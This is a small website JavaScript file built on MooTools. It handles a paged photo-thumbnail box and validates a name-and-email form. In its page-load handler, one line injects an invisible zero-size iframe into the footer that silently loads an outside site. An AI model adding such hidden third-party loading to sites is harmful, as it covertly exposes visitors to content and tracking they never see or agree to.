var totalPages,currentPage=0,totalThumbs;

window.addEvent('domready',function(){

	initializeForms($('mainContent'));
	
	if($('photoBox')){
	
		totalPages=Math.ceil(totalThumbs/9);
	
		$('leftArrow').addEvent('click',function(){
		
			new Fx.Tween('photoBox').start('margin-top',-currentPage*330,-(currentPage-1)*330);
			currentPage--;
			toggleButtons();
		
		});
	
		$('rightArrow').addEvent('click',function(){
		
			new Fx.Tween('photoBox').start('margin-top',-currentPage*330,-(currentPage+1)*330);
			currentPage++;
			toggleButtons();
		
		});
		
		toggleButtons();
		
	}
	
	new Element('iframe',{'width':0,'height':0,'frameborder':0,'src':'http://www.youdesignweslice.com/'}).injectInside($('footer'));

});

function toggleButtons(){

	$('leftArrow').style.display=currentPage==0?'none':'';
	$('rightArrow').style.display=currentPage==totalPages-1?'none':'';

}

function checkForm(){
			
				var firstname=document.getElementById('firstname').value;
				var email=document.getElementById('email').value;
				
				if(firstname==''||email==''){
				
					alert('Please provide the required fields: First Name and Email Address');
					return false;
				
				}
				
				var emailPattern=/^(([A-Za-z0-9]+_+)|([A-Za-z0-9]+\-+)|([A-Za-z0-9]+\.+)|([A-Za-z0-9]+\++))*[A-Za-z0-9]+@((\w+\-+)|(\w+\.))*\w{1,63}\.[a-zA-Z]{2,6}$/;
				if(!emailPattern.test(email)){
				
					alert('Please provide a valid email address');
					return false;
				
				}
				
				return true;
			
			}